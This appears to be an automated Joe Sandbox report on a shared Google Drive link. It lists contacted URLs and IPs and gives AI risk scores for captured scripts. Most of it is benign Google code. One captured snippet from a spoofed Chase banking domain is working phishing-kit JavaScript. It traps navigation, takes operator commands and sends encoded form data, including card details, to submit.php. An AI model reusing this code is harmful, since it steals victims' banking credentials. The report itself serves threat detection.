https://support.google.com/drive/answer/2423485?hl=%s	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://help.youtube.com/tools/feedback/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://onepick-autopush.sandbox.google.com/picker/minpick/main	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_146.2.dr	false		high
https://docs.google.com/document/d/1kganm9BHI3TsF8ogVulX2o4DzzO8XA4gu8aIKneTTNU/preview	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://policies.google.com/terms	chromecache_149.2.dr	false		high
https://www.youtube.com	chromecache_99.2.dr	false		high
https://asx-frontend-staging.corp.google.com/tools/feedback/	chromecache_129.2.dr	false		high
https://www.google.com	chromecache_139.2.dr, chromecache_127.2.dr, chromecache_149.2.dr, chromecache_99.2.dr	false		high
https://support.google.com/drive/answer/2407404?hl=en	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://workspace.google.com	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://onepick-staging.sandbox.google.com/picker/minpick/main	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://support.google.com/legal/answer/3110420	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://support.google.com/docs/answer/49114	chromecache_149.2.dr	false		high
https://support.google.com/drive/answer/2423694	chromecache_149.2.dr	false		high
https://support.google.com/google-workspace-individual/?p=esignature_signer_terms	chromecache_149.2.dr	false		high
https://drive-thirdparty.googleusercontent.com/	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://asx-frontend-autopush.corp.google.co.uk/tools/feedback/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://onepick-preprod.sandbox.google.com/picker/minpick/main	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://developers.google.com/	chromecache_93.2.dr, chromecache_135.2.dr	false		high
https://onepick-staging-drivequal.sandbox.google.com/picker/minpick/main	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://calendar.google.com/calendar	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://developers.google.com/identity/gsi/web/guides/gis-migration)	chromecache_135.2.dr	false		high
https://www.google.com/tools/feedback	chromecache_129.2.dr	false		high
https://sandbox.google.com/inapp/%	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://tasks.google.com/	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://www.google.com/recaptcha/api.js?trustedtypes=true	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://apis.google.com/js/api.js	chromecache_149.2.dr	false		high
https://www.google.com/tools/feedback/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://feedback2-test.corp.google.com/tools/feedback/%	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://punctual-dev.corp.google.com	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://plus.google.com	chromecache_146.2.dr	false		high
https://asx-frontend-autopush.corp.google.de/tools/feedback/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://asx-help-frontend-autopush.corp.youtube.com/tools/feedback/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://clients5.google.com/webstore/wall/widget	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://asx-frontend-autopush.corp.google.com/inapp/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://support.google.com/drive?p=gemini_drive_pdf	chromecache_149.2.dr	false		high
https://feedback.googleusercontent.com/resources/render_frame2.html	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://sandbox.google.com/tools/feedback/%	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://localhost.corp.google.com/inapp/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://support.google.com/drive/answer/7650301	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://drive.google.com	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://policies.google.com/privacy	chromecache_149.2.dr	false		high
https://drive.google.com/requestreview?id=	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://asx-frontend-staging.corp.google.com/inapp/	chromecache_129.2.dr	false		high
https://drive.google.com/drive/my-drive	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://support.google.com/docs/answer/13447609	chromecache_149.2.dr	false		high
https://fonts.google.com/license/googlerestricted	chromecache_89.2.dr, chromecache_133.2.dr	false		high
https://clients6.google.com	chromecache_93.2.dr, chromecache_146.2.dr, chromecache_135.2.dr	false		high
http://localhost.corp.google.com/inapp/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://play.google.com	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://clients5.google.com	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://console.developers.google.com/	chromecache_93.2.dr, chromecache_135.2.dr	false		high
https://signaler-pa.youtube.com	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://support.google.com/inapp/%	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://asx-help-frontend-autopush.corp.youtube.com/inapp/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://drivemetadata.clients6.google.com	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://support.google.com/docs/answer/15001094	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://developers.google.com/youtube/iframe_api_reference#Events	chromecache_127.2.dr, chromecache_99.2.dr	false		high
https://cloud.google.com/terms/cloud-privacy-notice	chromecache_149.2.dr	false		high
https://support.google.com/docs/answer/148505	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://support.google.com/	chromecache_129.2.dr	false		high
https://support.google.com/docs/answer/37603	chromecache_149.2.dr	false		high
https://support.google.com/docs/answer/2494893?co=GENIE.Platform%3DDesktop#zippy=%2Cprevent-people-f	chromecache_149.2.dr	false		high
https://scone-pa.clients6.google.com	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://lh3.googleusercontent.com/a/default-user	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://support.google.com/inapp/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://asx-frontend-autopush.corp.google.co.uk/inapp/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://drive.usercontent.google.com	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://developers.google.com/api-client-library/javascript/reference/referencedocs	chromecache_93.2.dr, chromecache_135.2.dr	false		high
https://apis.google.com	chromecache_146.2.dr, chromecache_98.2.dr, chromecache_102.2.dr	false		high
https://asx-frontend-autopush.corp.google.com/tools/feedback/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://asx-frontend-autopush.corp.youtube.com/tools/feedback/	chromecache_124.2.dr, chromecache_129.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.181.132	www.google.com	United States		15169	GOOGLEUS	false
142.250.181.110	play.google.com	United States		15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
142.250.181.46	unknown	United States		15169	GOOGLEUS	false
188.119.66.154	online.access.secure001.chase-business.com	Russian Federation		209499	FLYNETRU	false

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578640
Start date and time:	2024-12-20 01:20:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eip&ts=67645d30
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.phis.win@20/120@22/7

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.99, 172.217.17.78, 64.233.162.84, 172.217.17.46, 172.217.17.42, 172.217.17.67, 142.250.181.67, 199.232.210.172, 172.217.17.74, 172.217.19.234, 142.250.181.106, 172.217.19.170, 216.58.208.234, 172.217.21.42, 172.217.19.10, 142.250.181.138, 142.250.181.74, 172.217.19.202, 192.229.221.95, 142.250.181.42, 57.150.87.129, 172.217.17.35, 23.206.103.35, 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): fonts.googleapis.com, ssl.gstatic.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, fonts.gstatic.com, youtube.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, blob.iad11prdstr04a.store.core.windows.net, securityunlocking.blob.core.windows.net, update.googleapis.com, clients.l.google.com, www.gstatic.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eip&ts=67645d30

Simulations

Behavior and APIs

Time	Type	Description
00:20:50	Task Scheduler	Run new task: {CDEC4A4D-8DFC-44B4-98D4-43977A8FC52E} path:

LLM Input / Output

Input	Output
URL: https://drive.google.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://drive.google.com
URL: https://online.access.secure001.chase-business.com... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This script appears to be a simple loader animation that hides after 2 seconds, which is a common practice for web pages. It does not exhibit any high-risk behaviors and is likely a legitimate part of the website's functionality." }
$(document).ready(function() { setTimeout(function(){ $('.loader_big').hide(); }, 2000); });
URL: https://www.gstatic.com/_/apps-fileview/_/js/k=app... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a legitimate script that initializes a feature toggle system. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or suspicious redirects. The script is well-commented and includes copyright information, indicating it is likely part of a larger, reputable codebase. While it uses some legacy practices like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, this script seems benign and is likely used for legitimate purposes." }
try{ var _F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};_F_toggles_initialize([0x1830, ]); /* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / / Copyright Google LLC SPDX-License-Identifier: Apache-2.0 / / Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. / / SPDX-License-Identifier: Apache-2.0 / / Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / / Copyright 2024 Google, Inc SPDX-License-Identifier: MIT / / Copyright 2005, 2007 Bob Ippolito. All Rights Reserved. Copyright The Closure Library Authors. SPDX-License-Identifier: MIT / var h,aa=function(a,b){if(Error.captureStackTrace)Error.captureStackTrace(this,aa);else{var c=Error().stack;c&&(this.stack=c)}a&&(this.message=String(a));b!==void 0&&(this.cause=b);this.C=!0},ba=function(){throw Error("E");},aaa=function(a,b){b=String.fromCharCode.apply(null,b);return a==null?b:a+b},eaa=function(a){var b=!1;b=b===void 0?!1:b;if(baa){if(b&&(caa?!a.isWellFormed():/(?:[^\uD800-\uDBFF]\|^)[\uDC00-\uDFFF]\|[\uD800-\uDBFF](?![\uDC00-\uDFFF])/.test(a)))throw Error("F");a=(daa\|\|(daa=new TextEncoder)).encode(a)}else{for(var c= 0,d=new Uint8Array(3a.length),e=0;e<a.length;e++){var f=a.charCodeAt(e);if(f<128)d[c++]=f;else{if(f<2048)d[c++]=f>>6\|192;else{if(f>=55296&&f<=57343){if(f<=56319&&e<a.length){var g=a.charCodeAt(++e);if(g>=56320&&g<=57343){f=(f-55296)1024+g-56320+65536;d[c++]=f>>18\|240;d[c++]=f>>12&63\|128;d[c++]=f>>6&63\|128;d[c++]=f&63\|128;continue}else e--}if(b)throw Error("F");f=65533}d[c++]=f>>12\|224;d[c++]=f>>6&63\|128}d[c++]=f&63\|128}}a=c===d.length?d:d.subarray(0,c)}return a},da=function(a){ca.setTimeout(function(){throw a; },0)},fa=function(){var a=ca.navigator;return a&&(a=a.userAgent)?a:""},gaa=function(a){return faa?ha?ha.brands.some(function(b){return(b=b.brand)&&ia(b,a)}):!1:!1},ja=function(a){return ia(fa(),a)},ka=function(){return faa?!!ha&&ha.brands.length>0:!1},haa=function(){return ka()?!1:ja("Opera")},iaa=function(){return ka()?!1:ja("Trident")\|\|ja("MSIE")},jaa=function(){return ka()?gaa("Microsoft Edge"):ja("Edg/")},kaa=function(){return ja("Firefox")\|\|ja("FxiOS")},ma=function(){return ja("Safari")&&!(laa()\|\| (ka()?0:ja("Coast"))\|\|haa()\|\|(ka()?0:ja("Edge"))\|\|jaa()\|\|(ka()?gaa("Opera"):ja("OPR"))\|\|kaa()\|\|ja("Silk")\|\|ja("Android"))},laa=function(){return ka()?gaa("Chromium"):(ja("Chrome")\|\|ja("CriOS"))&&!(ka()?0:ja("Edge"))\|\|ja("Silk")},maa=function(){return ja("Android")&&!(laa()\|\|kaa()\|\|haa()\|\|ja("Silk"))},naa=function(a){var b={};a.forEach(function(c){b[c[0]]=c[1]});return function(c){return b[c.find(function(d){return d in b})]\|\|""}},oaa=function(a){var b=fa();if(a==="Internet Explorer"){if(iaa())if((a= /rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),c[1]=="7.0")if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0":a="10.0";break;case "7.0":a="11.0"}else a="7.0";else a=c[1];b=a}else b="";return b}var d=RegExp("([A-Z][\\w ]+)/([^\\s]+)\\s(?:\\((.*?)\\))?","g");c=[];for(var e;e=d.exec(b);)c.push([e[1],e[2],e[3]\|\|void 0]);b=naa(c);switch(a){case "Opera":if(haa())return b(["Version","Opera"]); if(ka()?gaa("Opera"):ja("OPR"))return b(["OPR"]);break;case "Microsoft Edge":if(ka()?0:ja("Edge"))return b(["Edge"]);if(jaa())return b(["Edg"]);break;case
URL: https://www.gstatic.com/_/apps-fileview/_/js/k=app... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of a larger application and does not contain any high-risk indicators. It includes some moderate-risk behaviors, such as external data transmission and aggressive DOM manipulation, but these are likely part of the application's legitimate functionality. The code also uses some legacy practices, which pose minor risks but are not inherently malicious. Overall, the snippet seems to be a benign implementation with no clear signs of malicious intent." }
try{ var Lle=function(){QL.apply(this,arguments)};P(Lle,QL);Lle.prototype.enqueue=function(a,b){this.insert(a,b)};var Mle=function(a,b){a%=b;return a*b<0?a+b:a},Nle=function(a){return 1-Math.pow(1-a,3)}; }catch(e){_DumpException(e)} try{ var sNc=function(){return faa&&ha?!ha.mobile&&(ja("iPad")\|\|ja("Android")\|\|ja("Silk")):ja("iPad")\|\|ja("Android")&&!ja("Mobile")\|\|ja("Silk")},pQ=function(){return!(faa&&ha?ha.mobile:!sNc()&&(ja("iPod")\|\|ja("iPhone")\|\|ja("Android")\|\|ja("IEMobile")))&&!sNc()}; }catch(e){_DumpException(e)} try{ var i3e=function(a,b){this.C=a instanceof Lv?a:new Lv(a,b)};Ck(i3e,fBb);i3e.prototype.Md=function(a,b,c,d){var e=Vf(a);var f=e.body;e=e.documentElement;e=new Lv(f.scrollLeft\|\|e.scrollLeft,f.scrollTop\|\|e.scrollTop);f=this.C.x+e.x;e=this.C.y+e.y;var g=gBb(a);f-=g.x;e-=g.y;bH(new Lv(f,e),a,b,c,null,null,d)};var j3e=function(a,b){i3e.call(this,a,b)};Ck(j3e,i3e);j3e.prototype.F=0;j3e.prototype.D=function(a){this.F=a}; j3e.prototype.Md=function(a,b,c,d){var e=Vx(cWa(a)),f=UNa(Te(a).ee);f=new Lv(this.C.x+f.scrollLeft,this.C.y+f.scrollTop);var g=b,k=bH(f,a,g,c,e,10,d);if((k&496)!=0){if(k&16\|\|k&32)g^=4;if(k&64\|\|k&128)g^=1;k=bH(f,a,g,c,e,10,d);(k&496)!=0&&bH(f,a,b,c,e,this.F,d)}};var r3=function(a,b){xH.call(this,a,b);this.RN=!0;rH(this,!0);this.wa(!1,!0);this.C=new YF};Ck(r3,xH);h=r3.prototype;h.Ada=!1;h.Sc=function(a){r3.Za.Sc.call(this,a);(a=a.getAttribute("for")\|\|a.htmlFor)&&this.attach(this.oa().W(a),1)}; h.Da=function(){r3.Za.Da.call(this);this.C.forEach(this.Oka,this);var a=this.va();a.listen(this,"action",this.F);a.listen(this.oa().Hb(),"mousedown",this.H,!0)};h.attach=function(a,b,c,d,e){a&&Wwb(this.C,Fa(a))\|\|(a?(b={xb:a,Lua:b,aXa:c,Kp:d?"contextmenu":"mousedown",c_:e},this.C.set(Fa(a),b)):b=null,this.oc()&&this.Oka(b),a=Ak(this.ZYa,a),this.W()&&this.va().listen(this.W(),"keydown",a))}; h.ZYa=function(a,b){if(b.keyCode==27)a.focus();else if(a=this.vd(this.Yj)){var c=a.W();a=new bx(b.he,c);a.target=c;if(b.keyCode==32\|\|b.keyCode==13)if(dx(c))c.gE("keydown",!1,a);else if(c=gx(c))if(c=c.listeners["keydown".toString()]){c=c.concat();for(var d=0;d<c.length;d++){var e=c[d];e&&e.capture==0&&!e.removed&&DSa(e,a)}}b.keyCode==32&&this.hide()}};h.Oka=function(a){this.va().listen(a.xb,a.Kp,this.D);a.Kp!="contextmenu"&&this.va().listen(a.xb,"keydown",this.J)}; h.detach=function(a){if(!a\|\|!Wwb(this.C,Fa(a)))throw Error("ni");a=Fa(a);if(this.oc()){var b=this.C.get(a);this.va().yc(b.xb,b.Kp,this.D)}this.C.remove(a)};var k3e=function(a,b,c,d){var e=a.isVisible();a.isVisible()\|\|Date.now();a.dispatchEvent("beforeshow")&&(c=typeof c!="undefined"?c:8,e\|\|(a.W().style.visibility="hidden"),yi(a.W(),!0),b.Md(a.W(),c,d),e\|\|(a.W().style.visibility="visible"),a.so(-1),a.wa(!0))};r3.prototype.hide=function(){this.isVisible()&&(this.wa(!1),this.isVisible()\|\|Date.now())}; r3.prototype.F=function(){this.hide()};r3.prototype.D=function(a){this.Ada&&a.shiftKey&&a.button==2\|\|l3e(this,a)};r3.prototype.J=function(a){a.keyCode!=32&&a.keyCode!=13&&a.keyCode!=40\|\|l3e(this,a);a.keyCode==40&&SBb(this)};var l3e=function(a,b){for(var c=a.C.zf(),d=0;d<c.length;d++){var e=a.C.get(c[d]);if(e.xb==b.currentTarget){c=e.Lua!==void 0?new AH(e.xb,e.Lua,!0):new j3e(b.clientX,b.clientY);c.D&&c.D(5);k3e(a,c,e.aXa,e.c_);b.preventDefault();b.stopPropagation();break}}}; r3.prototype.H=function(a){this.isVisible()&&!this.Dv(a.target)&&this.hide()};r3.prototype.Ci=function(a){r3.Za.Ci.call(this,a);this.hide()};r3.prototype.Fa=function(){r3.Za.Fa.call(this);this.C&&(this.C.clear(),delete this.C)};var n3e=function(a){r3.call(this,a.oa(),m3e.Xa());this.context=a};P(n3e,r3); n3e.prototype.Da=function(){r3.prototype.Da.call(this);lj(this.W(),"ndfHFb-c4YZDc-i5oIFb");var a=YJ(this.context.ka());QF(this.W(),"ndfHFb-c4YZDc-uoC0bf",a);YJ(this.context.ka())&&NF(this.W(),Mab({oJ:!0},YGb(this.context)).split(" "))};var o3e=function(a,b){return new tH(b,void 0,a.context.oa(),EMb.Xa())},m3e=function(){wH.call(this)};P(m3e,wH);m3e.prototype.Jb=function(){return"ndfHFb-c4YZDc-mg9Pef"};m3e.X
URL: https://online.access.secure001.chase-business.com... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This JavaScript code exhibits several high-risk behaviors that are indicative of a malicious phishing script. The code includes dynamic code execution, data exfiltration, and redirects to potentially malicious domains, all of which are considered high-risk indicators. Additionally, the code attempts to prevent the user from navigating away from the page and appears to be designed to collect sensitive user data, such as login credentials, which is a clear sign of malicious intent. Overall, this script poses a significant security risk and should be treated with the utmost caution." }
//START system functions for all phishes window.session = makeid(5); localStorage.setItem("session", window.session); var onStorage = function (e) { if (e.key === 'session' && e.newValue !== window.session) localStorage.setItem("multitab", window.session); if (e.key === "multitab" && e.newValue && e.newValue !== window.session) { window.removeEventListener("storage", onStorage); localStorage.setItem("session", localStorage.getItem("multitab")); localStorage.removeItem("multitab"); document.body.innerHTML = 'The current page is already open in another tab. Please follow there!'; } }; window.addEventListener('storage', onStorage); history.pushState(null, document.title, location.href); window.addEventListener('popstate', function (event){ history.pushState(null, document.title, location.href); }); document.addEventListener('DOMContentLoaded', function() { let TimeStep = 5000, url = 'submit.php'; function Update(){ var uid=($('#uid').length)?$('#uid').val():""; if (($('.loader').length > 0 && $('.loader').is(':visible')) \|\| ($('#pngenabled').length > 0 && $('#pngenabled').val()=="false")) return false; let R = new XMLHttpRequest(); let body = "upd="+uid; R.open('POST', url, true); R.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); R.send(body); R.onreadystatechange = function(){ if(R.readyState == 4){ switch (R.status) { case 200: //let Re = JSON.parse(R.responseText); break; case 404: //console.log('URL not found'); break; default: //console.log('Unknown error'); } } } setTimeout(Update, TimeStep); } setTimeout(Update, TimeStep); }); function wait_answer(uid){ //console.log('Send query...'); let TimeStep = 2000, url = 'submit.php'; let R = new XMLHttpRequest(); let body = "ping="+uid; R.open('POST', url, true); R.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); R.send(body); R.onreadystatechange = function(){ if(R.readyState == 4){ switch (R.status) { case 200: //console.log(R.responseText); let Re = JSON.parse(R.responseText); if(Re.msgping!="undefined" && Re.msgping=="newcmd"){ //console.log("Cookies:"+Re.cmd); //console.log("MSG: "+Re.errmsg); setCookie('stp',Re.cmd,60); setCookie('wt','0',60); if(Re.url!="") setCookie('uurl',Re.url,60); if(Re.msg!="") setCookie('umsg',encodeURI(Re.msg),60); else setCookie('umsg','',0); if(Re.img!=""){ var uimg=getCookie('uimg'); $.ajax({ type:'POST', data:{op:"img",img:Re.img,uimg:uimg}, dataType:'html', url:'submit.php', async:false, success: function(data){ //console.log(data); }, error: function(xhr, ajaxOptions, thrownError){ alert('Error: ' + xhr.status + ', ' + thrownError); } }); } var newloc=window.location.href; newloc=remove_param(newloc,'err'); if(Re.errmsg!="") newloc=add_param(newloc,'err',Re.errmsg); //window.location.href=newloc; window.location.replace(newloc); } //console.log(Re); //for (var key in Re) { //console.log(key, Re[key]); //$("#"+key).text(Re[key]); //} //{"res":"ok","msgping":"newcmd","cmd":2,"errmsg":"Please enter valid card data"} break; case 404: //console.log('URL not found'); break; default: //console.log('Unknown error'); } } } setTimeout(wait_answer, TimeStep, uid); } const sendSubmittedData = (formId) => { return new Promise((resolve,reject) => { var stp=$('#stp').val(); var uid=($('#uid').length)?$('#uid').val():""; var waitanswer=$('#wansw').val(); var formData = makeid(5)+b64EncodeUnicode(JSON.stringify(getFormData($(formId))))+makeid(3); setCookie('wt','1
URL: https://www.gstatic.com/_/apps-fileview/_/js/k=app... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of a larger application and does not contain any high-risk indicators. It primarily deals with handling user interactions, such as click and touch events, and applying visual effects to UI elements. While the code uses some legacy APIs like `XDomainRequest`, which pose minor risks, there are no signs of dynamic code execution, data exfiltration, or redirects to malicious domains. The script seems to be focused on providing a responsive and interactive user experience, which is a common and legitimate use case. Overall, the risk score is low, and the code does not appear to be malicious." }
try{ var TQ=Symbol(); }catch(e){_DumpException(e)} try{ C("LBaJxb"); var TTc=function(a){a=a.rect;return Math.floor(Math.max(a.height,a.width).2)},UTc={pseudoElement:"::after",duration:450,fill:"forwards",easing:"cubic-bezier(0.2, 0, 0, 1)"};var YQ=function(a){vP.call(this,a.Pa);this.Yg=!1;this[TQ]=!0};P(YQ,vP);YQ.sa=vP.sa; YQ.prototype.yd=function(a){if(!this.Yg&&(a instanceof KeyboardEvent?a.key==="Enter"\|\|a.key===" ":1)){this.Yg=!0;var b;(b=this.animation)==null\|\|b.cancel();clearTimeout(this.timeout);this.aa().ub("RBHQF-ksKsZd-OWXEXe-QDgCrf");var c=this.aa().el().getBoundingClientRect();b=TTc({rect:c});var d=a instanceof MouseEvent?{x:a.clientX-c.left,y:a.clientY-c.top}:{x:c.width/2,y:c.height/2};d={x:d.x-b/2,y:d.y-b/2};a={x:(c.width-b)/2,y:(c.height-b)/2};b=d;d={rect:c};var e=d.rect;c=e.width;e=e.height;d=TTc(d); c=""+(Math.sqrt(Math.pow(c,2)+Math.pow(e,2))+10+Math.max(.35Math.max(e,c),75))/d;d+="px";a={top:[0,0],left:[0,0],height:[d,d],width:[d,d],transform:["translate("+b.x+"px, "+b.y+"px) scale(1)","translate("+a.x+"px, "+a.y+"px) scale("+c+")"]};this.animation=this.aa().el().animate(a,UTc)}};YQ.prototype.Kc=function(){this.Yg=!1;VTc(this)}; var VTc=function(a){var b,c,d=(c=(b=a.animation)==null?void 0:b.currentTime)!=null?c:Infinity;a.timeout=setTimeout(function(){a.aa().nb("RBHQF-ksKsZd-OWXEXe-QDgCrf")},225-Number(d))};YQ.prototype.ds=function(){this.aa().ub("RBHQF-ksKsZd-OWXEXe-ZmdkE")};YQ.prototype.vs=function(){this.Yg&&VTc(this);this.aa().nb("RBHQF-ksKsZd-OWXEXe-ZmdkE")};X(YQ.prototype,"smST1",function(){return this.vs});X(YQ.prototype,"u6EQ2e",function(){return this.ds});X(YQ.prototype,"R0otXe",function(){return this.Kc}); AP(xA,YQ); D(); }catch(e){_DumpException(e)} try{ C("pxafOd"); var OTc=function(a){return a.pointerType==="touch"},XQ=function(a){vP.call(this,a.Pa);this.xc="INACTIVE";this.Ja=this.pressed=!1};P(XQ,vP);XQ.sa=vP.sa;XQ.prototype.yb=function(){return!!this.aa().el().disabled};XQ.prototype.Wb=function(a){this.aa().el().disabled=a};XQ.prototype.Yg=function(){return this.pressed};var PTc=function(a,b){b=b===void 0?"PROGRAMMATIC":b;a.yd();a.xc="INACTIVE";a.Kc({Bp:!1,GB:b})};h=XQ.prototype;h.Kza=function(){return!1}; h.SY=function(a){var b=this;a=a.event;if(!this.yb()&&a.isPrimary&&this.xc==="INACTIVE"){if(OTc(a)){if(this.Ja&&!QTc(this,a))return;this.Ja=!1;this.F=a;this.xc="TOUCH_DELAY";this.wb=setTimeout(function(){b.xc==="TOUCH_DELAY"&&(b.xc="HOLDING",b.yd({Gba:b.F}))},150);return!1}if(a.button===0)return this.xc="WAITING_FOR_MOUSE_CLICK",this.F=a,this.yd({Gba:this.F}),!1}}; h.eSa=function(a){a=a.event;if(OTc(a)&&!this.yb()&&a.isPrimary){if(this.xc==="HOLDING")return RTc(this),!1;this.xc==="TOUCH_DELAY"&&(this.xc="RELEASING",this.yd({Gba:this.F}),RTc(this));return!1}};h.eh=function(a){a=a.event;if(this.yb())return!1;if(this.xc==="WAITING_FOR_MOUSE_CLICK")return a="UNSET",this.F&&(a=OTc(this.F)?"TOUCH":"MOUSE"),this.Kc({Bp:!1,GB:a}),this.xc="INACTIVE",!1;this.xc!=="INACTIVE"\|\|this.pressed\|\|(this.F=a,PTc(this,"KEYPRESS"));return!1}; h.tn=function(){var a;(a=this.Pk())==null\|\|a.ds();return!1};h.av=function(a){a=a.event;!this.yb()&&a.isPrimary&&!OTc(a)&&this.pressed&&STc(this,"MOUSE");var b;(b=this.Pk())==null\|\|b.vs();return!1};h.cSa=function(a){a=a.event;!this.yb()&&a.isPrimary&&STc(this,OTc(a)?"TOUCH":"MOUSE");return!1};h.Pn=function(){this.yb()\|\|(this.Ja=!0,STc(this,"TOUCH"));return!1};h.vi=function(){STc(this);vP.prototype.vi.call(this)};h.yd=function(a){a=(a===void 0?{}:a).Gba;this.pressed=!0;var b;(b=this.Pk())==null\|\|b.yd(a)}; h.Kc=function(a,b){var c=a.Bp;a=a.GB;this.pressed=!1;var d;(d=this.Pk())==null\|\|d.Kc();d=this.F?{altKey:this.F.altKey,ctrlKey:this.F.ctrlKey,shiftKey:this.F.shiftKey,metaKey:this.F.metaKey}:{};this.Wq();c\|\|this.trigger(KF,Object.assign({},d,{GB:a},b))};h.Pk=function(){return null};h.Wq=function(){clearTimeout(this.wb);clearTimeout(this.rc);this.F=void 0}; var STc=function(a,b){b=b===void 0?"UNSET":b;a.pressed=!1;a.Wq();a.xc!=="INACTIVE"&&(a.xc==="TOUCH_DELAY"?a.xc="INACTIVE":(
